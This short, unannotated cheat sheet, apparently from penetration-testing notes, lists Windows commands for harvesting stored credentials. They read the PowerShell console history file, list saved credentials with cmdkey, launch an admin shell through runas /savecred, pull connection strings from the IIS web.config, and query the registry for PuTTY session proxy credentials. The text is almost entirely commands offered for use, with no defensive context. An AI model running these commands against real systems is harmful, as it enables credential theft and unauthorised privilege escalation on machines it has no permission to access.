Poweshell History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Saved Windows Credentials
cmdkey /list
runas /savecred /user:admin cmd.exe
IIS Config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Retrieve Credentials from Software: PuTTY
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s